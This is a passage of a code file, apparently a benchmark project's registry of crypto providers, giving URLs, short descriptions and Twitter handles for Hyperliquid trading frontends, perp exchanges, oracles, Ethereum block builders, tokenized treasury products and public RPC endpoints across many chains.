      "Hyperliquid trading dashboard and Telegram bot offering discretionary perps trading and copy trading from curated vaults and wallets.",
    twitter: "@trysuper_",
  },
  supurr: {
    url: "https://supurr.app",
    description:
      "Short dated options protocol on Hyperliquid offering Up Down binary contracts with fixed max loss.",
    twitter: "@supurr_app",
  },
  unigox: {
    url: "https://www.unigox.com",
    description:
      "Fiat to crypto P2P onramp covering 40+ local payment rails with a gasless non custodial wallet and Hyperliquid perps integration.",
    twitter: "@Unigox_global",
  },
  uxuy: {
    url: "https://www.uxuy.com",
    description:
      "Multi chain self custody wallet and AI stablecoin trading protocol for gasless cross chain swaps backed by Binance Labs.",
    twitter: "@uxuycom",
  },
  wunder: {
    url: "https://wundertrading.com",
    description:
      "Automated crypto trading platform with grid, DCA, signal, and TradingView bots integrated with Hyperliquid via WalletConnect.",
    twitter: "@wunder_bit",
  },
  grider: {
    url: "https://app.grider.xyz",
    description:
      "Non custodial grid trading tool for Hyperliquid that automates order placement across predefined price ranges with 24/7 execution.",
    twitter: "@griderxyz",
  },
  tradoor: {
    url: "https://tradoor0.xyz",
    description:
      "Automated market making platform for deploying one click delta neutral strategies across Hyperliquid, Extended, and HIP 3 perp DEXes.",
    twitter: "@tradoor0",
  },
  bullpenfi: {
    url: "https://bullpen.fi",
    description:
      "Non custodial multi platform trading terminal unifying Hyperliquid perps, Polymarket prediction markets, and Solana spot in one app.",
    twitter: "@BullpenFi",
  },
  "dexly-trade": {
    url: "https://dexly.trade",
    description:
      "Wallet first non custodial trading interface for Hyperliquid perps with copy trading, vaults, leaderboards, and wallet explorer.",
    twitter: "@dexlytrade",
  },
  hyperdash: {
    url: "https://hyperdash.com",
    description:
      "Advanced trading terminal for Hyperliquid offering real time analytics, portfolio tracking, and copytrading vaults.",
    twitter: "@hypurrdash",
  },
  infinex: {
    url: "https://infinex.xyz",
    description:
      "Passkey secured, non custodial crypto wallet and DeFi superapp with perpetual futures trading powered by Hyperliquid.",
    twitter: "@infinex",
  },
  liminal: {
    url: "https://liminal.money",
    description:
      "Delta neutral yield protocol on Hyperliquid that captures funding rate yield by pairing spot and perp positions on USDC deposits.",
    twitter: "@liminalmoney",
  },
  "liquid-perps": {
    url: "https://tryliquid.xyz",
    description:
      "Non custodial leveraged trading app on Hyperliquid offering perps on BTC, ETH and trending tokens with up to 150x leverage.",
    twitter: "@liquidtrading",
  },
  "lit-trade": {
    url: "https://lit.trade",
    description:
      "No KYC spot and perpetual trading frontend on Hyperliquid with on chart orders, trailing stops, and modular multi chart UI.",
    twitter: "@lit_trade",
  },
  lootbase: {
    url: "https://lootbase.com",
    description:
      "Mobile first Hyperliquid trading app rebranded as Stack offering perps up to 40x leverage with fiat ramps via MoonPay.",
    twitter: "@LootbaseX",
  },
  "mass-dot-money": {
    url: "https://mass.money",
    description:
      "Mobile first DeFi aggregator using account abstraction to unify spot, perps and tokenized stock trading across chains including Hyperliquid.",
    twitter: "@massdotmoney",
  },
  moonbot: {
    url: "https://moon-bot.com",
    description:
      "Advanced manual and automated trading terminal supporting CEXs and Hyperliquid with on chart order placement and strategy automation.",
    twitter: "@moonboteth",
  },
  rainbow: {
    url: "https://rainbow.me",
    description:
      "Self custodial Ethereum wallet whose iOS and Android apps integrate Rainbow Perps powered by Hyperliquid for up to 40x leverage trading.",
    twitter: "@rainbowdotme",
  },
  supercexy: {
    url: "https://supercexy.com",
    description:
      "Gasless mobile first frontend on Hyperliquid offering perpetual and spot trading with up to 50x leverage and a CEX style UX.",
    twitter: "@try_supercexy",
  },
  superstack: {
    url: "https://superstack.xyz",
    description:
      "Custom built trading platform on Hyperliquid bringing institutional grade tools and capital efficiency to retail traders.",
    twitter: "@superstackxyz",
  },
  "wallet-v": {
    url: "https://walletv.io",
    description:
      "Self custodial mobile wallet that connects AI agents to automate trading on Hyperliquid and Aster.",
    twitter: "@WalletV_io",
  },
  "xtrade-protocol": {
    url: "https://xtrade.gg",
    description:
      "All in one DeFi trading terminal supporting Solana spot and Hyperliquid perpetuals with pro grade tooling for retail traders.",
    twitter: "@xtrade_gg",
  },
  "taco-trade": {
    url: "https://app.taco.trade",
    description:
      "Hyperliquid perpetuals trading interface earning builder code revenue on Hyperliquid Perps fills.",
    twitter: "@TacoTradeX",
  },
  silhouette: {
    url: "https://silhouette.exchange",
    description:
      "Privacy enforcement layer on Hyperliquid that shields order details using TEEs and encrypted relays for confidential perp trading.",
    twitter: "@silhouette_ex",
  },
  "tread-fi": {
    url: "https://tread.fi",
    description:
      "Institutional grade algorithmic trading terminal and OEMS for retail and pro traders, integrated with Hyperliquid and major CEXs.",
    twitter: "@tread_fi",
  },
  flowbot: {
    url: "https://flowbot.pro",
    description:
      "Automated volume trading bot built to help traders earn perp DEX points and rewards on Hyperliquid without manual market making.",
    twitter: "@T0nyCrypt0",
  },
  "nautilus-trader": {
    url: "https://nautilustrader.io",
    description:
      "Open source Rust native production grade trading engine with a Hyperliquid integration for live perpetual futures execution.",
    twitter: "@NautilusTrader",
  },
  blink: {
    url: "https://www.blink.trade",
    description:
      "High-performance spot and perpetuals exchange with colocated low-latency fiber and independently verifiable sequencing. Routes Hyperliquid perp orders via a registered builder code.",
    twitter: "@Blink_Exchange",
  },

  // ─── Hyperliquid frontends registry expansion 60 → 65 (on-chain referral code cross-reference, 2026-06-28) ───
  // Identified by matching each builder address's HL referral code to a
  // public brand. Provenance lives in /opt/hl-bench/builders.json notes
  // on the HL node.
  blocksec: {
    url: "https://blocksec.com",
    description:
      "BlockSec is a blockchain security company behind the Phalcon toolchain, audits and attack monitoring. Its Anti-MEV RPC applies private transaction routing to shield Ethereum and BSC users from sandwich attacks.",
    twitter: "@BlockSecTeam",
  },
  "48club": {
    url: "https://48.club",
    description:
      "48 Club is a BNB Chain validator collective behind the KOGE token. Its Privacy RPC, successor of Puissant, routes BSC transactions privately through its own validators to prevent frontrunning.",
  },
  pancakeswap: {
    url: "https://pancakeswap.finance",
    description:
      "PancakeSwap is the largest DEX on BNB Chain. MEV Guard is its user-facing protected RPC, powered by 48 Club infrastructure and shipped as the default anti-sandwich endpoint for PancakeSwap traders.",
    twitter: "@PancakeSwap",
  },
  "defi-saver": {
    url: "https://defisaver.com",
    description:
      "DeFi Saver is a long-running DeFi management dashboard that added a Hyperliquid perps tab routing orders via a registered builder code (Hyperliquid referral code DFS).",
    twitter: "@DeFiSaver",
  },
  unitywallet: {
    url: "https://unitywallet.com",
    description:
      "UnityWallet is a self-custodial wallet with an in-app Hyperliquid perps integration that routes orders through a registered builder code (Hyperliquid referral code UNITYWALLET).",
    twitter: "@unitywallet_",
  },
  invo: {
    url: "https://invoapp.com",
    description:
      "Invo is a Hyperliquid-powered social trading mobile app supporting 170+ perp pairs with copy-trading and a registered builder code (Hyperliquid referral code INVO, 25k+ referrals).",
    twitter: "@invoapp",
  },
  marsgo: {
    url: "https://t.me/marsgo_bot",
    description:
      "MarsGO is a Telegram mini-app for crypto trading that routes Hyperliquid perp orders through a registered builder code (Hyperliquid referral code MARSGO).",
    twitter: "@MarsGOBot",
  },
  "bitget-wallet": {
    url: "https://web3.bitget.com",
    description:
      "Bitget Wallet is the self-custodial wallet by Bitget; its Hyperliquid perps integration launched Dec 2025 and routes orders through a registered builder code (Hyperliquid referral code BITGETWALLET, 3.6k+ referrals).",
    twitter: "@BitgetWallet",
  },

  // ─── Perp funding venues (bench № 036) ─────────────────────────────
  bybit: {
    url: "https://www.bybit.com",
    description:
      "Bybit is one of the largest centralized derivatives exchanges, with USDT-margined linear perpetuals on hundreds of pairs and funding settled on 8 hour (some pairs 4 hour) periods.",
    twitter: "@Bybit_Official",
  },
  okx: {
    url: "https://www.okx.com",
    description:
      "OKX is a major centralized exchange whose USDT-margined perpetual swaps settle funding on variable periods (typically 8 hours), with rates capped per instrument.",
    twitter: "@okx",
  },
  paradex: {
    url: "https://www.paradex.trade",
    description:
      "Paradex is a perps-focused L2 exchange built on Starknet tech, with USD-settled perpetuals and funding accrued continuously over an 8 hour period.",
    twitter: "@paradex",
  },
  aster: {
    url: "https://www.asterdex.com",
    description:
      "Aster is a decentralized perps exchange (ex-ApolloX, backed by YZi Labs) on BNB Chain and other EVM networks, with a Binance-compatible API and 8 hour funding periods.",
    twitter: "@Aster_DEX",
  },
  synfutures: {
    url: "https://synfutures.com",
    description:
      "SynFutures is an oAMM-based (Oyster AMM) perpetuals DEX on Base and Arbitrum. Traders open positions against a concentrated liquidity pool rather than a matching engine; any ERC-20 can be listed permissionlessly.",
    twitter: "@SynFuturesDefi",
  },
  kiloex: {
    url: "https://kiloex.io",
    description:
      "KiloEx is an oracle-based AMM perpetuals DEX deployed on BSC, Base and opBNB. Traders open leveraged positions against a shared liquidity pool; prices are sourced from on-chain oracles.",
    twitter: "@KiloEx_perp",
  },
  orderly: {
    url: "https://orderly.network",
    description:
      "Orderly Network is a permissionless liquidity layer for on-chain perpetuals. Front-ends (including WOOFi Pro) route orders through a shared CLOB infrastructure deployed across Arbitrum, Optimism, Polygon, Base and other chains.",
    twitter: "@OrderlyNetwork",
  },
  backpack: {
    url: "https://backpack.exchange",
    description:
      "Backpack Exchange is a regulated crypto exchange with a Solana-native perps engine, built by the team behind the Backpack wallet and Mad Lads NFTs. Offers a central limit order book with Solana settlement.",
    twitter: "@BackpackApp",
  },

  // ─── Hyperliquid HIP-3 deployers (bench № 035) ─────────────────────
  xyz: {
    url: "https://trade.xyz",
    description:
      "trade.xyz operates the largest HIP-3 builder-deployed dex on Hyperliquid: 70+ tokenized US equity, index, and commodity perp markets under the xyz namespace, collecting a deployer fee on every fill.",
    chains: ["hyperliquid"],
    features: [
      "Tokenized US equity perps (AAPL, TSLA, NVDA and 70+ markets)",
      "Index and commodity perpetuals",
      "HIP-3 namespace xyz on HyperCore",
      "Deployer fee collected via the on-chain deployerFee field",
    ],
  },
  vntl: {
    url: "https://ventuals.com",
    description:
      "Ventuals runs pre-IPO valuation perpetuals on Hyperliquid under the vntl HIP-3 namespace: traders price private company valuations (MAG7-style baskets and single names) rather than listed stock.",
    twitter: "@ventuals",
    chains: ["hyperliquid"],
    features: [
      "Pre-IPO valuation perpetual markets",
      "HIP-3 namespace vntl on HyperCore",
      "Deployer fee collected via the on-chain deployerFee field",
    ],
  },
  cash: {
    url: "https://dreamcash.io",
    description:
      "Dreamcash operates the cash HIP-3 namespace on Hyperliquid, deploying tokenized equity and ETF perp markets that complement its mobile trading app (which also routes orders with a registered builder code).",
    twitter: "@Dreamcash",
    chains: ["hyperliquid"],
    parent: "dreamcash",
    features: [
      "Tokenized equity and ETF perpetuals",
      "HIP-3 namespace cash on HyperCore",
      "Deployer fee collected via the on-chain deployerFee field",
    ],
  },
  km: {
    url: "https://kinetiq.xyz",
    description:
      "Markets by Kinetiq is the HIP-3 dex of Kinetiq, the Hyperliquid liquid staking protocol; it deploys equity and index basket perp markets under the km namespace.",
    chains: ["hyperliquid"],
    features: [
      "Equity and index basket perpetuals",
      "HIP-3 namespace km on HyperCore",
      "Operated by the Kinetiq liquid staking team",
    ],
  },
  hyna: {
    url: "https://hyena.trade",
    description:
      "HyENA is a USDe-margined perp dex on Hyperliquid built by the Based team with Ethena support, running under the hyna HIP-3 namespace.",
    chains: ["hyperliquid"],
    features: [
      "USDe collateral perpetual markets",
      "HIP-3 namespace hyna on HyperCore",
      "Built by the Based team with Ethena support",
    ],
  },
  flx: {
    url: "https://usefelix.xyz",
    description:
      "Felix Exchange is the HIP-3 dex of Felix, the Hyperliquid-native lending and stablecoin protocol; it deploys commodity and macro perp markets under the flx namespace.",
    chains: ["hyperliquid"],
    features: [
      "Commodity and macro perpetuals",
      "HIP-3 namespace flx on HyperCore",
      "Operated by the Felix protocol team",
    ],
  },
  para: {
    url: "https://paragon.trade",
    description:
      "Paragon turns crypto-native indices (BTC dominance, TOTAL2, OTHERS) into perpetual futures on Hyperliquid under the para HIP-3 namespace, settled in USDC with cross-margin.",
    twitter: "@tradeparagon",
    chains: ["hyperliquid"],
    features: [
      "Crypto index perpetuals (BTC.D, TOTAL2, OTHERS)",
      "HIP-3 namespace para on HyperCore",
      "Deployer fee collected via the on-chain deployerFee field",
    ],
  },

  // ─── Perp DEX cohort (perps hub /perps) ───
  drift: {
    url: "https://drift.trade",
    description:
      "Solana perp DEX with hybrid AMM/orderbook model, sub-second matching via Anchor program.",
    twitter: "@DriftProtocol",
  },
  vertex: {
    url: "https://www.nado.xyz",
    description:
      "Arbitrum perp and spot orderbook DEX with off-chain matching and on-chain settlement. Migrating to Ink Foundation.",
    twitter: "@vertex_protocol",
  },
  edgex: {
    url: "https://edgex.exchange",
    description:
      "zkSync-based perp DEX with low taker fees and a documented public REST API.",
    twitter: "@edgex_exchange",
  },
  extended: {
    url: "https://extended.exchange",
    description:
      "Starknet perp DEX (formerly X10) with order book matching and instant withdrawals via STARK proofs.",
    twitter: "@ExtendedExchange",
  },
  aevo: {
    url: "https://aevo.xyz",
    description:
      "OP Stack perp DEX with deep options support, event-driven flow.",
    twitter: "@aevoxyz",
  },
  pacifica: {
    url: "https://pacifica.fi",
    description:
      "Solana perp DEX optimized for high-frequency trading, oracle-anchored funding.",
    twitter: "@pacifica_fi",
  },
  variational: {
    url: "https://variational.io",
    description:
      "Arbitrum P2P derivatives venue with pre-computed quote sizes for institutional flow.",
    twitter: "@variational_io",
  },
  ostium: {
    url: "https://ostium.app",
    description:
      "Arbitrum-based perp DEX specialized in RWA exposure including FX, commodities and indices.",
    twitter: "@ostium_app",
  },
  grvt: {
    url: "https://grvt.io",
    description:
      "zkSync hybrid CEX/DEX perp venue with privacy-preserving order matching.",
    twitter: "@grvt_io",
  },

  // ─── Oracles (bench № 082 oracle-freshness) ───────────────────
  pyth: {
    url: "https://www.pyth.network",
    description:
      "Pull-based oracle network publishing sub-second price updates through the Hermes service; consumers post the signed update onchain only when they need it. Prices are contributed by exchanges and market makers.",
    twitter: "@PythNetwork",
  },
  redstone: {
    url: "https://www.redstone.finance",
    description:
      "Modular oracle delivering signed price packages every few seconds through its data gateway, consumed push or pull. The freshness bench reads the primary-prod feed keyless.",
    twitter: "@redstone_defi",
  },

  // ─── Ethereum block builders (bench № 085) ────────────────────
  // Attribution rows come from the extraData self-label each builder
  // stamps into its blocks. Where no legal entity is public, the
  // description says so instead of guessing.
  titan: {
    url: "https://www.titanbuilder.xyz",
    description:
      "Dominant private Ethereum block builder, self-labeled `Titan (titanbuilder.xyz)` in block extraData. Regularly builds around half of all MEV-Boost blocks and also operates the Titan relay.",
    twitter: "@titanbuilderxyz",
  },
  quasar: {
    url: "https://quasar.win",
    description:
      "Ethereum block builder self-described as neutral and non-censoring, second-largest by extraData share. The operating entity is not publicly named; identity rests on the `quasar` extraData self-label and the quasarbuilder.eth fee recipient.",
    twitter: "@QuasarBuilder",
  },
  eureka: {
    url: "https://eurekalabs.xyz",
    description:
      "Ethereum block builder by Eureka Labs, founded late 2024 and backed by a $6.7M seed round (Spark Capital, Collider Ventures) to develop programmable blocks. Attributed via the `eureka` extraData self-label.",
    twitter: "@EurekaBuilder",
  },
  buildernet: {
    url: "https://buildernet.org",
    description:
      "Decentralized block-building network initiated by Flashbots, with Beaverbuild and Nethermind among the early node operators. Blocks are built inside TEEs by multiple operators and carry the `BuilderNet` extraData tag; conceived as the mutualized counterweight to private-builder concentration.",
  },
  beaverbuild: {
    url: "https://beaverbuild.org",
    description:
      "Pseudonymous Ethereum block builder that dominated block building through 2023-2024 alongside rsync. Labels its blocks `beaverbuild.org` in extraData; no legal entity is publicly identified.",
    twitter: "@beaverbuild",
  },
  btcs: {
    url: "https://www.btcs.com/builder/",
    description:
      "Builder+ is the Ethereum block-building operation of BTCS Inc., a Nasdaq-listed blockchain infrastructure company (NodeOps staking, Builder+, Imperium DeFi). Attributed via the `Builder+` extraData self-label.",
    twitter: "@NasdaqBTCS",
  },
  bobthebuilder: {
    url: "https://bobthebuilder.xyz",
    description:
      "Pseudonymous Ethereum block builder, self-labeled `bob-the-builder` in block extraData with the bob-the-builder.eth fee recipient. No operating entity is publicly identified; identity rests on the extraData self-label.",
    twitter: "@0xb0bthebuilder",
  },
  vanilla: {
    url: "https://ethereum.org/en/developers/docs/mev/",
    description:
      "Not a company: blocks whose extraData is empty or carries an execution client's default tag (geth, reth, nethermind, besu, erigon), meaning the proposer built the block locally instead of outsourcing to a MEV-Boost builder. The live measure of how much of Ethereum still self-builds.",
  },
  other: {
    url: "https://github.com/ChainBench/OpenChainBench/tree/main/harnesses/evm-block-builders",
    description:
      "Aggregate long-tail bucket, not a single provider. On the block-builder bench it collects blocks whose extraData tag is not in the curated attribution table; every raw string is logged so named rows can be added as the table grows.",
  },

  // ─── RWA yield tokens (bench 089 rwa-yield-accuracy) ─────────
  usdy: {
    url: "https://ondo.finance/usdy",
    description:
      "Ondo USDY is a yield-bearing tokenized U.S. Treasury note. Rebases on Ethereum, also issued on Solana, Aptos and Sui. Delivered yield on bench 089 is read from Ondo's on-chain oracle rather than Ethereum totalSupply to avoid bridge-flow noise.",
    twitter: "@OndoFinance",
    docs: "https://docs.ondo.finance/",
  },
  ousg: {
    url: "https://ondo.finance/ousg",
    description:
      "Ondo OUSG is a tokenized short-term U.S. Treasury fund. NAV appreciation model: the share price grows daily as yield accrues. Delivered yield on bench 089 is read from Ondo's on-chain oracle (Aave IPriceOracle interface).",
    twitter: "@OndoFinance",
    docs: "https://docs.ondo.finance/",
  },
  ustb: {
    url: "https://superstate.com/ustb",
    description:
      "Superstate USTB is a tokenized short-duration U.S. Treasury fund. NAV-accrual model, share price published on-chain via a Chainlink NAV feed. Delivered yield on bench 089 reads the Chainlink feed at latest and t-30d blocks.",
    twitter: "@superstateinc",
    docs: "https://superstate.com/legal",
  },
  "syrup-usdc": {
    url: "https://syrup.fi",
    description:
      "Maple SyrupUSDC is an ERC-4626 vault whose underlying is a book of institutional USDC loans. Not a T-bill wrapper. Yield reflects loan-book performance. Delivered yield on bench 089 reads convertToAssets(1 share) at latest and t-30d blocks and compares to the pool's base APY (excludes SYRUP token rewards).",
    twitter: "@maplefinance",
    docs: "https://maplefinance.gitbook.io/maple/",
  },
  "kava-official": {
    url: "https://www.kava.io",
    description:
      "Kava Labs' official public EVM RPC (evm.kava.io) for the Cosmos SDK Layer 1 with native EVM execution (chain 2222). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@kava_platform",
  },
  "zora-official": {
    url: "https://zora.co",
    description:
      "Zora Network's official public RPC (rpc.zora.energy) for the OP Stack rollup dedicated to NFT minting and creative media on-chain (chain 7777777). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@ourzora",
  },
  "abstract-official": {
    url: "https://abs.xyz",
    description:
      "Abstract Foundation's official public RPC (api.mainnet.abs.xyz) for the ZK Stack validium L2 dedicated to consumer applications and NFTs (chain 2741). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@abstractchain",
  },
  "apechain-official": {
    url: "https://apechain.com",
    description:
      "ApeChain's official public RPC (rpc.apechain.com/http) for the Arbitrum Orbit L3 operated by Yuga Labs / ApeDAO, APE gas token (chain 33139). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@apecoin",
  },
  "lisk-official": {
    url: "https://lisk.com",
    description:
      "Lisk's official public RPC (rpc.api.lisk.com) for the OP Stack L2 focused on emerging-market Web3 adoption (chain 1135). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@LiskHQ",
  },
  sentio: {
    url: "https://app.sentio.xyz",
    description:
      "Sentio is a blockchain data and RPC infrastructure provider. Their public RPC node (swell-mainnet.rpc.sentio.xyz) supports Swellchain (chain 1923) without an API key.",
    twitter: "@sentioxyz",
  },
  altlayer: {
    url: "https://altlayer.io",
    description:
      "AltLayer is a restaked rollup infrastructure provider offering managed RPC nodes for OP Stack and Arbitrum chains. Their public endpoint (cyber.alt.technology) supports Cyber Network (chain 7560) without an API key.",
    twitter: "@alt_layer",
  },
  "cyber-official": {
    url: "https://cyber.co",
    description:
      "Cyber Network's official public RPC (rpc.cyber.co) for the OP Stack L2 dedicated to SocialFi and Web3 social graphs (chain 7560). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@cyberconnecthq",
  },
  "rootstock-official": {
    url: "https://rootstock.io",
    description:
      "Rootstock Foundation's official public RPC (public-node.rsk.co) for the Bitcoin sidechain with EVM smart contracts and merge-mining security (chain 30). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@rootstock_io",
  },
  "metis-official": {
    url: "https://metis.io",
    description:
      "Metis's official Andromeda public RPC (andromeda.metis.io) for the optimistic rollup with a decentralized sequencer network and METIS gas token (chain 1088). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@MetisL2",
  },
  "manta-official": {
    url: "https://manta.network",
    description:
      "Manta Network's official Pacific public RPC (pacific-rpc.manta.network/http) for the OP Stack L2 built on Celestia DA, optimised for zero-knowledge applications (chain 169). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@MantaNetwork",
  },
  "story-official": {
    url: "https://www.story.foundation",
    description:
      "Story Foundation's official public RPC (mainnet.storyrpc.io) for the purpose-built IP blockchain with EVM execution and CometBFT consensus, IP gas token (chain 1514). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@StoryProtocol",
  },
  "morph-official": {
    url: "https://morphl2.io",
    description:
      "Morph's official public RPC (rpc.morphl2.io) for the ZK Rollup L2 combining optimistic execution with ZK proof settlement and a Decentralized Sequencer Network (chain 2818). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@Morphl2",
  },
  "moonriver-official": {
    url: "https://moonbeam.network/moonriver",
    description:
      "Moonbeam Foundation's official public RPC (rpc.api.moonriver.moonbeam.network) for Moonriver, the Kusama parachain with full EVM compatibility and MOVR gas token (chain 1285). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@MoonriverNW",
  },
  "hemi-official": {
    url: "https://hemi.xyz",
    description:
      "Hemi Labs' official public RPC (rpc.hemi.network/rpc) for the Bitcoin+Ethereum hybrid L2 with dual-VM architecture running both EVM and Bitcoin script (chain 43111). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@hemi_xyz",
  },
  "bob-official": {
    url: "https://gobob.xyz",
    description:
      "BOB's official public RPC (rpc.gobob.xyz) for the Build on Bitcoin OP Stack hybrid L2 bridging BTC and ETH with native BTC collateral support (chain 60808). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@gobob_xyz",
  },
  "polygon-zkevm-official": {
    url: "https://polygon.technology/polygon-zkevm",
    description:
      "Polygon Foundation's official public RPC (zkevm-rpc.com) for Polygon zkEVM (chain 1101), the ZK rollup L2 settling on Ethereum. Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@0xPolygon",
  },
  "xlayer-official": {
    url: "https://www.okx.com/xlayer",
    description:
      "OKX's official public RPC (rpc.xlayer.tech) for X Layer (chain 196), the ZK-powered L2 built with Polygon CDK and operated by OKX. Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@XLayerOfficial",
  },
  "flare-official": {
    url: "https://flare.network",
    description:
      "Flare Foundation's official public RPC (flare-api.flare.network/ext/bc/C/rpc) for Flare mainnet (chain 14), the EVM-compatible L1 with enshrined oracles (FTSOv2, FDC). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@FlareNetworks",
  },
  "core-official": {
    url: "https://coredao.org",
    description:
      "Core DAO's official public RPC (rpc.coredao.org) for Core Chain mainnet (chain 1116), the Bitcoin-aligned EVM L1 using Satoshi Plus consensus. Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@Coredao_Org",
  },
  "fuse-official": {
    url: "https://fuse.io",
    description:
      "Fuse Foundation's official public RPC (rpc.fuse.io) for Fuse Network mainnet (chain 122), the community-owned EVM chain built for business payments and consumer DeFi. Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@fuse_network",
  },
  unitedbloc: {
    url: "https://unitedbloc.com",
    description:
      "UnitedBloc is a community validator and RPC node operator running public infrastructure for Moonbeam and Moonriver. Their keyless endpoint (moonriver.unitedbloc.com) supports Moonriver (chain 1285) without an API key.",
    twitter: "@unitedbloc",
  },
  glif: {
    url: "https://glif.io",
    description:
      "Glif is a community-operated Filecoin node infrastructure provider. Their public endpoint (api.node.glif.io/rpc/v1) is the canonical keyless FEVM gateway for Filecoin mainnet (chain 314).",
    twitter: "@glifio",
  },
  "canto-official": {
    url: "https://canto.io",
    description:
      "Plex-operated public RPC (canto.gravitychain.io) for Canto mainnet (chain 7700), the permissionless EVM L1 with free public DeFi infrastructure. Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@CantoPublic",
  },
  "aurora-official": {
    url: "https://aurora.dev",
    description:
      "Aurora Labs-operated public RPC (mainnet.aurora.dev) for Aurora mainnet (chain 1313161554), the EVM runtime on NEAR Protocol. Standard EVM JSON-RPC, keyless.",
    twitter: "@auroraisnear",
  },
  "bitlayer-official": {
    url: "https://www.bitlayer.org",
    description:
      "Bitlayer Labs-operated public RPC (rpc.bitlayer.org) for Bitlayer mainnet (chain 200901), the first EVM-compatible Bitcoin L2 using BitVM. Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@BitlayerLabs",
  },
  "b2-official": {
    url: "https://www.bsquared.network",
    description:
      "B² Network team-operated public RPC (rpc.bsquared.network) for B² Network mainnet (chain 223), a Bitcoin L2 combining ZK proof verification with Rollup+Restaking. Standard EVM JSON-RPC, keyless.",
    twitter: "@BSquaredNetwork",
  },
  gateway: {
    url: "https://gateway.fm",
    description:
      "Gateway.fm operates decentralized RPC infrastructure across multiple chains including Stellar Soroban. Public no-key endpoint with generous free tier, routing through a distributed node network.",
    twitter: "@gateway_eth",
  },
  sorobanrpc: {
    url: "https://sorobanrpc.com",
    description:
      "Community-operated free public Soroban RPC endpoint dedicated to the Stellar smart contract platform. No API key required; maintained for open developer access to Soroban RPC.",
  },
  lightsail: {
    url: "https://quasar.lightsail.network",
    description:
      "Lightsail Network operates Quasar, a multi-endpoint Stellar infrastructure suite offering a public no-key Soroban RPC (rpc.lightsail.network) and a full archive RPC (archive-rpc.lightsail.network) for Stellar mainnet.",
    twitter: "@lightsailnet",
  },

  // ─── Sui providers (bench 211) ───
  fullnode: {
    url: "https://sui.io",
    description:
      "Official Mysten Labs public Sui fullnode. No API key required; operated by Mysten Labs (the core Sui developer) as the canonical reference endpoint for the Sui mainnet.",
    twitter: "@SuiNetwork",
  },
  blockvision: {
    url: "https://blockvision.org",
    description:
      "BlockVision provides high-throughput node infrastructure and data APIs for Sui and other chains. The public mainnet endpoint requires no API key and supports the full Sui JSON-RPC surface.",
    twitter: "@BlockVision_io",
  },
  suiet: {
    url: "https://suiet.app",
    description:
      "Suiet is an open-source Sui wallet that operates a public Sui mainnet RPC as a community service. No API key required; endpoint is shared with the Suiet wallet's own backend.",
    twitter: "@suiet_wallet",
  },

  // ─── Aptos providers (bench 212) ───
  aptoslabs: {
    url: "https://aptoslabs.com",
    description:
      "Official Aptos Labs public mainnet node at api.mainnet.aptoslabs.com. No API key required; the canonical reference endpoint maintained by the Aptos Foundation and Aptos Labs.",
    twitter: "@AptosLabs",
  },
  "aptos-fullnode": {
    url: "https://aptoslabs.com",
    description:
      "Aptos Labs fullnode endpoint at fullnode.mainnet.aptoslabs.com. No API key required; a second publicly accessible REST endpoint maintained by Aptos Labs alongside the primary API node.",
    twitter: "@AptosLabs",
    parent: "aptoslabs",
  },
  nodereal: {
    url: "https://nodereal.io",
    description:
      "NodeReal is an enterprise-grade blockchain node provider supporting Aptos and other chains. Offers a public tier with no API key required and paid tiers for higher throughput.",
    twitter: "@NodeReal_",
  },

  // ─── XRP Ledger providers (bench 213) ───
  ripple: {
    url: "https://ripple.com",
    description:
      "Ripple operates public XRP Ledger mainnet nodes (s1.ripple.com, s2.ripple.com) as a community service. No API key required; s1 is a stock ledger node and s2 retains full history.",
    twitter: "@Ripple",
  },
  "xrpl-labs": {
    url: "https://xrpl.org",
    description:
      "XRPL Labs operates the community cluster at xrplcluster.com, a load-balanced set of XRPL Foundation nodes available to developers without any API key. Supports the full XRPL JSON-RPC API.",
    twitter: "@XRPLabs",
  },

  // ─── Algorand providers (bench 214) ───
  algonode: {
    url: "https://algonode.io",
    description:
      "AlgoNode is a community-operated free Algorand mainnet node (mainnet-api.algonode.cloud). No API key required; provides both algod (API) and indexer endpoints for the Algorand ecosystem.",
    twitter: "@algonode_io",
  },
  nodely: {
    url: "https://nodely.io",
    description:
      "Nodely (formerly AlgoExplorer by Randlabs) is a professional Algorand infrastructure provider offering a free public algod API tier at mainnet-api.4160.nodely.dev with no API key required.",
    twitter: "@nodely_io",
  },

  // ─── Gram/TON providers (bench 215) ───
  toncenter: {
    url: "https://toncenter.com",
    description:
      "TON Center provides the official HTTP API v2 for the TON/Gram blockchain, operated by the TON Foundation. Keyless access is available at 1 request per second; higher rates require an API key.",
    twitter: "@toncenter",
  },
  nownodes: {
    url: "https://nownodes.io",
    description:
      "NOWNodes is a multi-chain node provider covering Gram (TON), Bitcoin, Ethereum and 50+ other chains. Offers API-key-based access with a free trial tier.",
    twitter: "@NOWNodes_io",
  },
  tatum: {
    url: "https://tatum.io",
    description:
      "Tatum is a multi-chain RPC gateway supporting TON, Algorand and 30+ blockchains. Provides a public no-key endpoint for basic queries.",
    twitter: "@TatumIO",
  },
  uniblock: {
    url: "https://uniblock.dev",
    description:
      "Uniblock is a multi-chain RPC aggregator providing unified access to TON and other blockchains via a public JSON-RPC endpoint, no API key required.",
    twitter: "@UniblockDev",
  },
  // ─── NEAR Protocol providers (bench 216) ─────────────────────────
  "near-org": {
